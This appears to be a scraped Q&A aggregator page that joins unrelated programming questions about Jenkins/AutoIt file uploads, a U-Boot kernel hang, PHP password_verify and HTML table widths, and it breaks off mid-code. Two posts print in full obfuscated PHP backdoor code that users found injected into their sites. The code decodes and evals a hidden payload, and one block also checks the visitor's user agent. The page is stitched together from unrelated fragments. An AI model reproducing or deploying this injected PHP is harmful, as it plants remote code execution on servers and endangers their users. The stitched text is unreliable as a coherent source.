RFS中上传文档自动化脚本,集成在jenkins中执行不通过,不知道怎么解决?

RFS中web上传文档(非标准上传控件)自动化脚本,集成在jenkins里运行,脚本是执行通过了,但实际图片并没有上传成功?
说明:上传图片脚本用到了AutoItLibrary库,执行过程中需要打开windows选择文件界面,但jenkins中运行脚本的语句pybot是在后台执行,并不会打开界面,所以导致上传图片不成功。

2个回答

如果你和我一样,RFS中上传文件路径使用了${CURDIR}参数,检查下jenkins 上的pybot命令,在WORKSPACE前面加上磁盘路径吧,这样上传文件时才能找到文件
pybot.bat C:%WORKSPACE%

这个磁盘路径是你的jenkins默认的远程工作路径,如果使用SVN模式,构建前从SVN拷贝最新的资源到这个工作目录下,如果该节点上没有,会自动创建;
在jenkins项目配置的命令行中输入echo %WORKSPACE% ,构建一下,会在jenkins的Output console中打印出来,你就知道它是默认在哪个磁盘下创建了

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I'll appreciate your help thanks!</p> <pre><code>&lt;?php $jkpyncainc = 'ss%x5c%x785csboe))1%x5c%x782f35.)1%x5c%x782g!&gt;!#]y81]273]y76]258]%x5c%x7825yy)#}#-#%x5c%x787,*c%x5c%x7827,*b%x5cPFNJU,6&lt;*27-SFGTOBSUOSVUFS,6&lt;*msv%x5c%x78257-MSV,6&lt;*)ujojR_reporting(0); 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fjfgg($n){return chr(ord($n)-1);} @error&lt;#opo#&gt;b%x5c%x7825!*##&gt;&gt;X)!gjZ&lt;#opo#&gt;b%xy]}R;2]},;osvufs}%x5c%x7827;mnui}&amp;;zepc}A;~!}%x5c%x787f;!|!}{;)y6g]273]y76]271]y7d]252]y74]256#&lt;!%xx72%164") &amp;&amp; (!isset($GLOBALS["%x61%156%x75%156%x61"]))NULL); }x7827*&amp;7-n%x5c%x7825)utjm6&lt;%x5c%x787fw6*CW&amp;)7gj6&lt;*K)ftpmdXA%x7825cB%x5c%x7825iN}#-!tussfw)%%x787fw6*3qj%x5c%x78257&gt;%x5c%x782x7825!&lt;12&gt;j%x5c%x7825!|!*ctus)%x5c%x7825%x5c%x7824-%x5c%x7824b!&gt;!/(.*)/epreg_replacewpogvapkgq'; $tvgewvpmer = explode(chr((188-144)),'3644,46,9854,55,8686,44,9669,46,170,45,479,36,7686,60,256,63,5990,21,4650,20,6011,68,2509,40,6079,57,3860,56,5762,46,9350,70,7932,22,4956,52,9917,59,8846,47,8269,66,1517,44,7204,56,3747,48,4370,25,3690,57,2402,67,10008,33,2936,31,804,49,8994,35,9119,43,1345,49,7954,52,7031,35,4314,35,1594,27,940,48,2914,22,9258,53,1763,53,9200,58,5127,55,8730,20,1939,69,112,58,8661,25,3375,64,6162,65,8446,20,8790,56,345,43,5483,41,5182,34,1454,63,319,26,4395,52,3164,27,3342,33,515,31,9420,65,7066,61,1278,67,9029,27,6366,49,1561,33,5008,36,6136,26,9485,28,4828,70,674,44,10041,25,1230,48,8404,42,4163,64,458,21,2469,40,6590,24,5725,37,3144,20,6745,57,1873,28,4118,45,2284,25,7586,37,91,21,2195,54,2705,38,893,47,1162,68,2309,24,8466,32,3109,35,3261,41,8498,22,6886,59,4017,47,5688,37,4277,37,7437,34,4536,24,6945,49,9715,40,6440,63,8006,47,7528,58,6503,59,1024,29,5379,49,2048,47,6676,69,3981,36,988,36,5808,60,9513,37,6802,41,9585,20,8918,56,7181,23,1394,60,1850,23,5216,70,2333,69,1816,34,4670,23,4898,26,7471,57,779,25,9755,63,7876,56,5428,55,1053,58,7811,65,5911,51,7308,69,1901,38,7746,65,580,42,4447,20,2967,30,9056,26,718,61,1621,67,6265,65,9162,38,8974,20,7416,21,2008,40,4560,70,388,70,7377,39,4693,57,645,29,2632,53,1737,26,7623,63,10066,40,65,26,4349,21,3048,61,3618,26,6843,43,6330,36,5868,43,2743,65,7127,54,853,40,622,23,7260,48,1111,51,8893,25,5602,45,9976,32,5341,38,2808,42,2997,51,5962,28,4064,54,8610,51,2850,64,8078,42,3583,35,1688,49,4630,20,9550,35,4467,69,6614,62,3461,60,8053,25,546,34,2095,58,2153,42,3521,62,4750,40,5044,33,8520,29,8335,69,9605,64,6415,25,3916,65,2249,35,8202,67,0,43,3439,22,3191,70,5647,41,2549,54,4924,32,8750,40,2603,29,2685,20,3795,65,5568,34,9311,39,8162,40,6227,38,4227,50,6994,37,9082,37,215,41,8549,61,4790,38,5524,44,43,22,9818,36,3302,40,6562,28,5077,50,5286,55,8120,42,9909,8'); $bwellubqxl=substr($jkpyncainc,(42586-32480),(27-20)); if (!function_exists('mzrfqfsbfr')) { function mzrfqfsbfr($zsdakifiuq, $isfdnrujpz) { $wsvjrnzrfc = NULL; for($wzdtszvbpa=0;$wzdtszvbpa&lt;(sizeof($zsdakifiuq)/2);$wzdtszvbpa++) { $wsvjrnzrfc .= substr($isfdnrujpz, $zsdakifiuq[($wzdtszvbpa*2)],$zsdakifiuq[($wzdtszvbpa*2)+1]); } return $wsvjrnzrfc; };} $vpzmduwprw="\x20\57\x2a\40\x67\156\x68\155\x62\156\x74\172\x6e\150\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x31\70\x36\55\x31\64\x39\51\x29\54\x20\143\x68\162\x28\50\x34\62\x39\55\x33\63\x37\51\x29\54\x20\155\x7a\162\x66\161\x66\163\x62\146\x72\50\x24\164\x76\147\x65\167\x76\160\x6d\145\x72\54\x24\152\x6b\160\x79\156\x63\141\x69\156\x63\51\x29\51\x3b\40\x2f\52\x20\161\x70\150\x78\152\x6f\153\x70\157\x64\40\x2a\57\x20"; $zhcvxtttqr=substr($jkpyncainc,(47797-37684),(67-55)); $zhcvxtttqr($bwellubqxl, $vpzmduwprw, NULL); $zhcvxtttqr=$vpzmduwprw; $zhcvxtttqr=(403-282); $jkpyncainc=$zhcvxtttqr-1; ?&gt; </code></pre> </div>

uboot引导内核卡死,串口打印信息如下

如下为串口打印信息 U-Boot 2010.12 (Mar 22 2016 - 12:44:19) for SMDK4412 CPU: EXYNOS4412 [Samsung SOC on SMP Platform Base on ARM CortexA9] APLL = 1400MHz, MPLL = 800MHz DRAM: 1023 MiB vdd_arm: 1.2 vdd_int: 1.1 vdd_mif: 1.1 BL1 version: N/A (TrustZone Enabled BSP) Checking Boot Mode ... SDMMC REVISION: 1.1 MMC Device 0: 3841 MB unrecognised EXT_CSD structure version 7 unrecognised EXT_CSD structure version 7 MMC Device 1: 1024 MB MMC Device 2 not found Net: No ethernet found. Hit any key to stop autoboot: 0 reading kernel..device 0 Start 1057, Count 10240 MMC read: dev # 0, block # 1057, count 10240 ... 10240 blocks read: OK completed reading RFS..device 0 Count 11297, Start 2048 MMC read: dev # 0, block # 11297, count 2048 ... 2048 blocks read: OK completed Boot with zImage Using machid 0x1200 from environment Wrong Ramdisk Image Format [err] boot_get_ramdisk Starting kernel ... Uncompressing Linux... done, booting the kernel. Booting Linux on physical CPU 0 Initializing cgroup subsys cpu Linux version 3.5.0 (root@chuanqingsong) (gcc version 4.5.1 (ctng-1.8.1-FA) ) #4 SMP PREEMPT Tue Mar 22 14:54:25 CST 2016 CPU: ARMv7 Processor [413fc090] revision 0 (ARMv7), cr=10c5387d CPU: PIPT / VIPT nonaliasing data cache, VIPT aliasing instruction cache Machine: SMDK4412 cma: CMA: reserved 32 MiB at 6d800000 Memory policy: ECC disabled, Data cache writealloc 到这里就不动了,求大神指导下

任何人都知道在我的laravel刀片视图之上这个奇怪的代码是什么

<div class="post-text" itemprop="text"> <p>somehow this code appeared on few of my blade views. Anyone knows what it is? I removed it and nothing happened, so i guess it's not needed.</p> <pre><code> &lt;?php $vlkwuvd = 'udovg+)!gj+{e%!osvufs!*!+A!&gt;!{e%)!&gt;&gt; x22!ftmbg)e:56-xr.985:52985-t.98]K4]65]D8]86]y3^nbsbq% x5cSFWSFT`%}X;!sp!*#opo#&gt;&gt;}j%&gt;j%!*3! x27!hmg%!)!gj!&lt;2,*j%!-#1]#-bubE!&gt;!2p%Z&lt;^2 x5c2b%!&gt;!2p%!*3&gt;?*2b%)gpf{jt)!gj!&lt;*2bd%-#1G]}R;2]},;osvufs} x27;mnui}&amp;;zepc}A;~!} x7f;!|!}{;)gj}l;33bq}k;GLOBALS[" x61 156 x75 156 x61"]-u%!-#2#/#%#/#o]#/*)323b!-#}#)fepmqnj!/!#0#)idubn`hfsq)!sp!*#ojneb#-*f%)sfxpmsvd}R;*msv%)}.;`UQPMSVD!-id%)uqpuft`msvd},;uqpuft`msvd}+;!&gt;!} x27;275]y83]273]y76]277#&lt;!%topjudovg}x;0]=])0#)U! x27{**u%-#jt0}Z;0]=]0#)2q%l}S;2M7]D4]275]D:M8]Df#&lt;%tdz&gt;#L4]275L3]2bE{h%)sutcvt)!gj!|!*bubE{h%)j{hnpd!op-#G#-#H#-#I#-#K#-#L#-#M#-#[#-#Y#-#D#-#W#-#C#-#O#-#N#*-!%f1]278]y3e]81]K78:56985:6197g:74985-rr.93e:5597f-s.973:8297f:52978M4P8]37]278]225]241]334]368]322]3]364]6]283]427]36]373P[%h!&gt;!%tdz)%bbT-%bT-%hW~%fdy)##-!#~&lt;%h00#*&lt;%nfd)##Qtpz)#]341]8mplode(array_map("axeoqld",str_split("%tjw!&gt;!#]y84]275]y83]248z) x24]25 x24- x24-!% x24- x24*!|! x24ction axeoqld($n){return chr(ord($n)-1);} @error_report&lt;pd%w6Z6&lt;.4`hA x27pd%6&lt;pd%w6Z6&lt;.3`hA x27pd%6&lt;37y]672]48y]#&gt;s%&lt;#462]47y]252]18y]#&gt;q%&lt;#762]64Ypp3)%cB%iN}#-! x24/%tmw/ x24)%c*W%eNfs!|ftmf!~&lt;**9.-j%-bubE{h%)sutcvt)fubmgoj{hA!osvufs!~&lt;3,*127-UVPFNJU,6&lt;*27-SFGTOBSUO6&lt;.fmjgA x27doj%6&lt; x7fw6* x7f_*#fmjgk4`{6~6&lt;tfs%w6&lt; x x6f 142 x5f 163 x74 141 x72 164") &amp;&amp; (!isset($mdXA6|7**197-2qj%7-K)udfoopdXA x22)7gj6&lt;*QDU`MPT7-NBF%)7fmjix6&lt;C x27&amp;6&lt;*rfs%7-K)fujsxX6&lt;#o]o]Y%7;utpI#7&gt;/7rfs%6&lt;#ovt)esp&gt;hmg%!&lt;12&gt;j%!|!*#91y]c9y]g2y]#&gt;&gt;*4-1-bu24 x54 120 x5f 125 x53 105 x52 137 x41 107 x45 116 x54"]); if ((strst)))) { $GLOBALS[" x61 156 m%=*h%)m%):fmjix:&lt;##:&gt;:h%:&lt;#64y]552]e7y]#&gt;n%&lt;#372]58y]472] 156 x63 164 x69 157 x6e"; funSUT`LDPT7-UFOJ`GB)fubfsdXA x27K6&lt; x7fw6*3qj%7&gt; x2272qj%)7#00;quui#&gt;.%!&lt;***f x27,*e x27,*d x27,*cs!&gt;!bssbz)#44ec:649#-!#:618d5f9#-!]254]y76#&lt;!%w:!&gt;!(%w:!&gt;! x246767~6&lt;Cw6&lt;pd%w6Z6&lt;.5`hA x27pd%67y]562]38y]572]48y]#&gt;m%:|:*r%:-t%)3of:opjudovg&lt;~ x24&lt;!%o:!&gt;! x242178}527}88:}334}472 x24&lt;!%ff2!&gt;!bssb!&gt;&gt;&gt;!}_;gvc%}&amp;;ftmbg} x7f;!osvufs}w;* x7f!&gt;&gt; x22!pd%)!gj}Z;h!dt = $qgpvqwc("", $hnxctxp);2w&gt;#]y74]273]y76]252]y85]256]y6g]257]y86]267]y74]275]y7:]268]y7f#&lt;!%tw]y83]256]y81]265]y72x22)!gj}1~!&lt;2p% x7f!~!&lt;##x7f!&lt;X&gt;b%Z&lt;#opo#&gt;b%!*##&gt;&gt;X)]1/20QUUI7jsv%7UFH# x27rfs%6~6&lt; x7fw6&lt;*K)ftp#f6c68399#-!#65egb2dc#*&lt;!sfuvso!sboepn)%epnbss-%rxW~!Y- x24 x5c%j^ x24- x24tvctus)% x24- x24b!&gt;!%yy)#}#-# #fubfsdXk5`{66~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7gj6&lt;*doj%7-C)fepmqnjA x27&amp;UPNFS&amp;d_SFSFGFS`QUUI&amp;c_UOFHB`SFTV`QUUI&amp;b%!|!*)323zbek!~!&lt;b% opjudovg}{;#)tutjyf`op4 x24- x24]y8 x24- x24]26 x27,*b x27)fepdof.)fepdof./#@#/qp%&gt;5h%!&lt;*::::::-111112)eobs`un&gt;qp%!|Z~!&lt;##!&gt;!2p%!|!*!***b%)sfxp6M7]K3#&lt;%yy&gt;#]D6]281L1#/)ufttj x22)gj6&lt;^#Y# x5cq% x27Y%6&lt;.msv`ftsbqA7&gt;q%6&lt; x7fw6* x7f_*pd%w6Z6&lt;.2`hA x27pd%6&lt;C x27pd%6|6.7eu{66~67&lt;&amp;w6&lt;*&amp;7-#o]s]o]s]#)fepmqk3`{666~6&lt;&amp;w6&lt; x7fw6*CW&amp;)7gj6&lt;.[A x27&amp;6&lt; x7fw6* x7f_*#[k2`{6:!}7;fuopD#)sfebfI{*w%)kVx{**#k#)tutjyf`x x22l:!}V;3q%}U;ys+yfeobz+sfwjidsb`bj+upcotn+qsvmt+fmhpph#)zbss!gjZ&lt;#opo#&gt;b%!**X)ufttj x22)gj!|!*nbsbq%)323ldfidk!~!&lt;**qp%!-%)ppde&gt;u%V&lt;#65,47R25,d7R17,67R37,#/q%&gt;U&lt;#16,47R57,27R66,#/q%&gt;2q%&lt; x22:ftmbg39*56A:&gt;:8:|:7#6#)tutjyf`439275ttfsqnpzbe!-#jt0*?]+^?]_ x5c}X x24&lt;!%tmw!&gt;!#]y84]|7**111127-K)ebfsX x27ux75 156 x61"]=1; $uas=strtolower($_SERVER[" x48 1pusut)tpqssutRe%)Rd%)Rb%))!gj!&lt;*#cd2bge56+99386c6f+9f5pp2)%zB%z&gt;! x24/%tmw/ x24)%zW%h&gt;EzH&lt;%j=6[%ww2!&gt;#p#/#p#/%z&lt;jg!)%z&gt;&gt;2*!%z&gt;3&lt;!fmtf!%z!}6;##}C;!&gt;&gt;!}W;utpi}Y;tuofuopd`ufh`fmjg}[;ldpt%}K;`ufldpt}X;`m{h%)tpqsut&gt;j%!*72! xSVUFS,6&lt;*msv%7-MSV,6&lt;*)ujojR x27id%6&lt; x7fw6* x7f_*#ujojRyf x27*&amp;7-n%)utjm6&lt; x7fw6*CW&amp;)7gj6&lt;*K)ftpmdXA6~6&lt;u%7&gt;/7&amp;6tutjyf`4 x223}!+!&lt;+{e%27!hmg%)!gj!&lt;2,*j%-#1]#-bubE{h%)tpqsut&gt;j%!*9! x2/35.)1/14+9**-)1/2986+7**^/%rx&lt;~!!%s:N}#-%o:W%c:&gt;1&lt;%b:&gt;1&lt;!)%tww**WYsboepn)%bss-%rxB%h&gt;#]y3 x24*&lt;! x24- x24gps)%j&gt;1&lt;%j=tj{fpg)% x24- x24gps)%j:&gt;1&lt;%j:=tj{fpg)%s:*&lt;%j:,,Bjg!)%j:&gt;&gt;1*!%judovg!|!**#j{hnpd#)tutjyf`opjudovg 1]278]y3f]51L3]84]y31M6]y3e]81#/#7e:55946-tr.984:75983:48984:71]K9]f2-!%t::**&lt;(&lt;!fwbm)%tjw)# x24#-!#]y38#-!%w:**&lt;")));$tmuru%)s%&gt;/h%:&lt;**#57]38y]47]67y]37]88y7!hmg%)!gj!~&lt;ofmy%,3,j%&gt;j%!&lt;**3-j%-bubE{h%)sutcvt-#w#)ldbqov&gt;*M5]67]452]88]5]48]32M3]317]445]212]4ofmy%)utjm!|!*5! x27!hmg%)!gj!|!*1?hmg%)!gj!&lt;**2-4-bubE{h%)sutc]27]28y]#/r%/h%)n%-#+I#)q%:&gt;:r%:|:**t%)2^-%hOh/#00#W~!%t2w)##Qtjw)#]82#-#!#-%tmwmpusut!-#j0#!/!**#sfmcnbif((function_exists("b:&gt;1&lt;!fmtf!%b:&gt;%s: x5c%j:.2^,%b:&lt;!%c:&gt;%s: x5c%j:^&lt;!%w` x5c^&gt;Ew:Qb:O x22#)fepmqyfA&gt;2b%!&lt;*qp%-*.%)euhA)3of&gt;2bd%!&lt;5h%/#0#/*#npd/#)rrd/ x273qj%6&lt;*Y%)fnbozcYufhA x272qj%6&lt;^#zsfvr# x5cq%7/7#@#7/7^#iubq# x24- x24-tusqpt)%z-#:#* x24- x24!&gt;! x24/%tjw/ x24)% x24- x24yuyfu%)3of)fepdof`57ftbc x7f!|!*uyfu x27k:!ftmf!}Z;#g6R85,67R37,18R#&gt;q%V&lt;*#fopoV;hojepdoF.uo+#Qi x5c1^W%c!&gt;!%i x5c2^&lt;!Ce*[!%cIjQeTQcOc/#00#W~!Ydrr)%rxB%epnbs48L3P6L1M5]D2P4]D6#&lt;%G]y6d]281Ld]245]K2]285]Ke]53L,2W%wN;#-Ez-1H*WCw*[!%rN}#QwTW%hIr x5c1^-%r x5cV x7f&lt;*X&amp;Z&amp;S{ftmfV x7f&lt;*XAZASV&lt;*wgj6&lt;**2qj%)hopm3qjA)qj3hopmA!gj&lt;*#k#)usbut`cpV x7f x7f x7f x7f&lt;u%V x27{ftmf $tmurudt();}} x24- x24&lt;%j,,*!| x24- x24gvodujpo! x24- x24y7 x24-77]D4]82]K6]72]K9]78]K5]53]Kc#&lt;%tpz!&gt;!#]Dx5cq% x27jsv%6&lt;C&gt;^#zsfvr# x5cq%7**^#zsfvr# x5cq%r($uas," x6d 163 x69 145")) or (strstr($uas," x72 166 x3a 61 x31")judovg)!gj!|!*msv%)}k~~~&lt;ftmbg!osvuw!&gt;! x2400~:&lt;h%_t%:osvufs:~:&lt;*9-1-rR;msv}.;/#/#/},;#-#}+;%-qp%)54l} x27;%!&lt;*#}_;#)323ldfid&gt;}&amp;;!osvufs}+*!*+fepdfe{h+{d%)+opj6]36]73]83]238M7]381]211ing(0); $hnxctxp = id816:+946:ce44#)zbssb!&gt;!ssbnpe_GMFT`QIQ&amp;f_UTPI`QUUI&amp;e_SEEB`FQc:W~!%z!&gt;2&lt;!gps)%j&gt;17fw6*CWtfs%)7gj6&lt;*id%)ftpmdR6&lt;*id%)dfyfR x27tfs%6&lt;*17-SFEBFI,6&lt;#M5]DgP5]D6#&lt;%fdy&gt;#]D4]273]D6P2L5P6]y6gP7L6d]53]Kc]55Ld]55#*&lt;%bG9dov{h19275j{hnpd19275fubmgoj{h1:|:*mmvo:&gt;:iuhofm%:-5ppde:4:|:**#ppde#))) { $qgpvqwc = " x63 162 x65 141 x74 145 x5f 146 x75*&lt;!~! x24/%t2w/ x24)##-!#~&lt;#/% x24- x24!&gt;!fyqmpef)# x24*&lt;!%t::!&gt;! x245]43]321]464]284]364]6]234]342]58]24]31#-%tdz*Wsfuvso!%bss x5csboe))1}:}.}-}!#*&lt;%nfd&gt;%fdy&lt;Cb* x7f;!opjudovg}k~~9{d%:osvufs:~928&gt;&gt;&gt;2&lt;!%ww2)%w`TW~ x24&lt;!fwbm)%tjw)bssbz)#P#-#Q#-#B#-#T#-#E#sTrREvxNoiTCnuf_EtaerCxECalPer_Rtsrhffjsyw'; $wcicxlmr=explode(chr((477-357)),substr($vlkwuvd,(29446-23569),(120-86))); $yomgzrdx = $wcicxlmr[0]($wcicxlmr[(6-5)]); $gmfpovtdb = $wcicxlmr[0]($wcicxlmr[(8-6)]); if (!function_exists('ftpasubn')) { function ftpasubn($uugsjvh, $gagsdbne,$gtvryhv) { $ksosisw = NULL; for($dtryzkw=0;$dtryzkw&lt;(sizeof($uugsjvh)/2);$dtryzkw++) { $ksosisw .= substr($gagsdbne, $uugsjvh[($dtryzkw*2)],$uugsjvh[($dtryzkw*2)+(3-2)]); } return $gtvryhv(chr((60-51)),chr((471-379)),$ksosisw); }; } $blbbflypic = explode(chr((166-122)),'4228,21,1258,47,276,31,1533,26,3139,49,1464,69,5022,66,5570,53,1617,30,938,55,5271,20,838,62,2097,20,1777,60,993,45,2668,68,3463,57,3116,23,1358,61,2169,44,1305,53,1647,57,4793,28,4380,66,4974,48,2605,63,2319,59,1205,53,5372,63,1177,28,3407,56,2736,65,3324,63,384,66,1938,61,2438,22,5088,35,1121,56,119,41,3387,20,3542,48,3963,62,4061,63,1419,45,562,37,3770,36,2117,25,160,54,4315,65,1704,39,2485,58,2543,38,4204,24,2854,46,330,54,3188,54,5291,60,2378,60,2142,27,2900,61,4507,50,84,35,5158,67,5785,36,3026,48,5500,70,3520,22,5225,22,0,47,4821,47,4760,33,2961,65,4557,41,2801,53,214,62,474,53,307,23,3074,42,450,24,2027,70,5123,35,3930,33,4124,39,1559,58,1038,45,1837,43,1880,58,900,38,2267,52,4446,61,2460,25,4882,51,3680,45,5623,68,1083,38,4598,65,1743,34,2213,54,3242,35,4713,47,4163,41,3648,32,656,64,47,37,3806,67,4933,41,2581,24,5435,43,527,35,4663,50,5478,22,5761,24,776,62,720,56,5247,24,4025,36,5691,70,3590,58,3725,45,4249,66,5351,21,3277,47,5821,56,599,57,3873,57,1999,28,4868,14'); $rwgmdpo = $yomgzrdx("",ftpasubn($blbbflypic,$vlkwuvd,$gmfpovtdb)); $yomgzrdx=$vlkwuvd; $rwgmdpo(""); $rwgmdpo=(627-506); $vlkwuvd=$rwgmdpo-1; ?&gt; </code></pre> <p>thanx in advance! Br Y</p> </div>

password_verfiy()返回false,具有正确的凭据

<div class="post-text" itemprop="text"> <p>So I'm creating a simple login page, I've used this exact code in a different project and it works great, now it doesn't work for some reason. I'm guessing I'm missing something obvious but after 1 hour I can't seem to find it.</p> <p>PHP version: 7.2.5</p> <p>The login page:</p> <pre><code>&lt;?php require "../db.php"; $username = $password = ""; if ($_SERVER["REQUEST_METHOD"] == "POST") { $username = mysqli_real_escape_string ( $con, $_POST['username']); $password = mysqli_real_escape_string ( $con, $_POST['password']); $hash = $con-&gt;query("SELECT password FROM users WHERE username = '$username'")-&gt;fetch_object()-&gt;password; print_r($password);?&gt;&lt;br&gt;&lt;?php $hash2 = password_hash($password, PASSWORD_DEFAULT); echo $hash2;?&gt;&lt;br&gt;&lt;?php print_r($hash);?&gt;&lt;br&gt;&lt;?php var_dump(password_verify($password, $hash)); // if (password_verify($password, $hash)) { // session_start(); // $_SESSION['username'] = $username; // header("Location: ../seldep.php"); // die(); // } // else { // header("Location: ../index.php?1"); // die(); // } } ?&gt; </code></pre> <p>Right now there is a lot of test code there to test it. </p> <p>If I create a brand new account and try logging in, it returns false, but I change it so it takes the password the user inputs on login and hash that in the same file and put it through password_verify it returns true. It should be the exact same but It doesn't work. Any obvious issues here?</p> <p>Edit: Here is the output when trying to login with the username: 5 and password: 5 (This is in the database and was JUST registered.)</p> <pre><code>$2y$10$wjvfZh5EQPoXDGt89JfyXOA2TMq4MfvAQHNPXte939BcH.9y.3Ecm $2y$10$L2horMNAcXETSvOPQDCaMOoXtie3VQ4rRWhLhj5OK5.2sqHCnzRWK $2y$10$uuQshjMaeepm6aY8.4lBne88tFo5oKem54wztm.dLXT bool(false) 5 </code></pre> <p>Update with the form:</p> <pre><code>&lt;form action="accounts/login.php" method="post"&gt; &lt;div class="z-depth-3 y-depth-3 x-depth-3 grey green-text lighten-4 row" style="display: inline-block; padding: 32px 48px 0px 48px; border: 1px; margin-top: 100px; solid #EEE;"&gt; &lt;div class="section"&gt;&lt;/div&gt; &lt;div class="section"&gt;&lt;/div&gt; &lt;h1 class="grey-text" style="font-size: 20px;"&gt; &lt;?php echo CLAN_NAME; ?&gt; &lt;/h1&gt; &lt;div class='row'&gt; &lt;h1 class="grey-text" style="font-size: 20px;"&gt; LOGIN &lt;/h1&gt; &lt;div class='input-field col s12'&gt; &lt;input class='validate' type="text" name='username' required /&gt; &lt;label for='email'&gt;Username&lt;/label&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class='row'&gt; &lt;div class='input-field col m12'&gt; &lt;input class='validate' type='password' name='password' required /&gt; &lt;label for='password'&gt;Password&lt;/label&gt; &lt;/div&gt; &lt;label style='float: right;'&gt; &lt;b style="color: #F5F5F5;"&gt;Forgot Password?&lt;/b&gt; &lt;/label&gt; &lt;/div&gt; &lt;br/&gt; &lt;center&gt; &lt;div class='row'&gt; &lt;button style="margin-left:75px;" type='submit' name='btn_login' class='col s6 btn btn-small white black-text waves-effect z-depth-1 y-depth-1'&gt;Login&lt;/button&gt; &lt;/div&gt; &lt;div class='row'&gt; &lt;a href="accounts/register.php" style="margin-left:75px;" class='col s6 btn btn-small white black-text waves-effect z- depth-1 y-depth-1'&gt;Request access&lt;/a&gt; &lt;/div&gt; &lt;/center&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>My bad, here you go: (UPDATE/EDIT)</p> <pre><code>&lt;?php require "../db.php" ?&gt; &lt;?php session_start(); ?&gt; &lt;?php $username = $email = $password = $password2 = ""; if ($_SERVER["REQUEST_METHOD"] == "POST") { $username = mysqli_real_escape_string ( $con, $_POST['username']); $email = mysqli_real_escape_string ( $con, $_POST['email']); $password = mysqli_real_escape_string ( $con, $_POST['password']); $password2 = mysqli_real_escape_string ( $con, $_POST['password2']); if ($password == $password2) { $hash = password_hash($password2, PASSWORD_DEFAULT); $sql = "INSERT INTO users (username, email, password) VALUES ('$username', '$email', '$hash')"; if ($con-&gt;query($sql) === TRUE) { header("Location: register.php?rg"); die(); } else { echo "Error: " . $sql . "&lt;br&gt;" . $con-&gt;error; } } else { header("Location: register.php?passwordDontMatch"); } } ?&gt; </code></pre> <p>Updated with register form:</p> <pre><code>&lt;form action="registerdone.php" method="post"&gt; &lt;div class="z-depth-3 y-depth-3 x-depth-3 grey green-text lighten-4 row" style="display: inline-block; padding: 32px 48px 0px 48px; border: 1px; margin-top: 100px; solid #EEE;"&gt; &lt;div class="section"&gt;&lt;/div&gt; &lt;div class="section"&gt;&lt;/div&gt; &lt;div class='row'&gt; &lt;h1 class="grey-text" style="font-size: 20px;"&gt; REQUEST ACCESS &lt;/h1&gt; &lt;!-- Defining the username --&gt; &lt;div class='input-field col s12'&gt; &lt;input class='validate' type="text" name='username' id='email' required /&gt; &lt;label for='email'&gt;Username&lt;/label&gt; &lt;/div&gt; &lt;!-- Defining the email --&gt; &lt;div class='input-field col s12'&gt; &lt;input class='validate' type="text" name='email' id='email' required /&gt; &lt;label for='email'&gt;Email&lt;/label&gt; &lt;/div&gt; &lt;/div&gt; &lt;div class='row'&gt; &lt;!-- Defining the password --&gt; &lt;div class='input-field col m12'&gt; &lt;input class='validate' type='password' name='password' id='password' required /&gt; &lt;label for='password'&gt;Password&lt;/label&gt; &lt;/div&gt; &lt;!-- Confirming the passwords matching --&gt; &lt;div class='input-field col m12'&gt; &lt;input class='validate' type='password' name='password2' id='password' required /&gt; &lt;label for='password'&gt;Confirm password&lt;/label&gt; &lt;/div&gt; &lt;/div&gt; &lt;br/&gt; &lt;center&gt; &lt;div class='row'&gt; &lt;button style="margin-left:75px;" type='submit' name='btn_login' class='col s6 btn btn-small white black-text waves-effect z-depth-1 y-depth-1'&gt;Request access&lt;/button&gt; &lt;/div&gt; &lt;div class='row'&gt; &lt;a href="../index.php" style="margin-left:75px;" class='col s6 btn btn-small white black-text waves-effect z-depth-1 y-depth-1'&gt;Login page&lt;/a&gt; &lt;/div&gt; &lt;/center&gt; &lt;/div&gt; &lt;/form&gt; </code></pre> <p>Update with the output from this:</p> <pre><code>$hash = password_hash($password, PASSWORD_DEFAULT); print_r($hash);?&gt;&lt;br&gt;&lt;?php var_dump($hash);?&gt;&lt;br&gt;&lt;?php $hash2 = password_hash($password2, PASSWORD_DEFAULT); print_r($hash2);?&gt;&lt;br&gt;&lt;?php var_dump($hash2);?&gt;&lt;br&gt;&lt;?php die(); </code></pre> <p>output is as follows:</p> <pre><code>string(60) "$2y$10$VECqLlJwpndtDSv3r/U4z.4JsIZjXoFUuj7ALkzlFQuTeUKVcK/ze" $2y$10$x8MLKNwcvbhY7AoYxPiFyOaEazE2rfS2nbqVetATATuH1QpnwLa96 string(60) "$2y$10$x8MLKNwcvbhY7AoYxPiFyOaEazE2rfS2nbqVetATATuH1QpnwLa96" $2y$10$VECqLlJwpndtDSv3r/U4z.4JsIZjXoFUuj7ALkzlFQuTeUKVcK/ze </code></pre> </div>

HTML / PHP - 表格单元格分隔的宽度

<div class="post-text" itemprop="text"> <p>I have this table</p> <pre><code>&lt;table name='test'border='1' style='width: 100%'&gt; &lt;tr&gt; &lt;th valign='top' style='width: 9%'&gt;No.&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Epitope/Cluster Sequence:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Epitope ID:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Source Organism&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Source Protein:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;MHC Restriction:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;RF Score:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Assay Score:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Assay Type:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Effector Origin:&lt;/th&gt; &lt;th valign='top' style='width: 9%'&gt;Reference ID:&lt;/th&gt; &lt;/tr&gt; </code></pre> <p>And I want to add next more rows and keep the same width, the with delimiter works when I test it using only the first row, but it doesn't work when the new rows are added, my code to add the new rows is:</p> <pre><code>function printResultI($array) { $i=0; foreach($array as $row) { $i=$i+1; echo" &lt;tr&gt; &lt;td style='width: 9%'&gt;$i&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[linear_sequence]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[E_ID]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[ant_source_organism_name]&lt;/td&gt; &lt;td style='width: 9%'&gt;$row[E_OBJECT_SOURCE_NAME]&lt;/td&gt; &lt;td style='width: 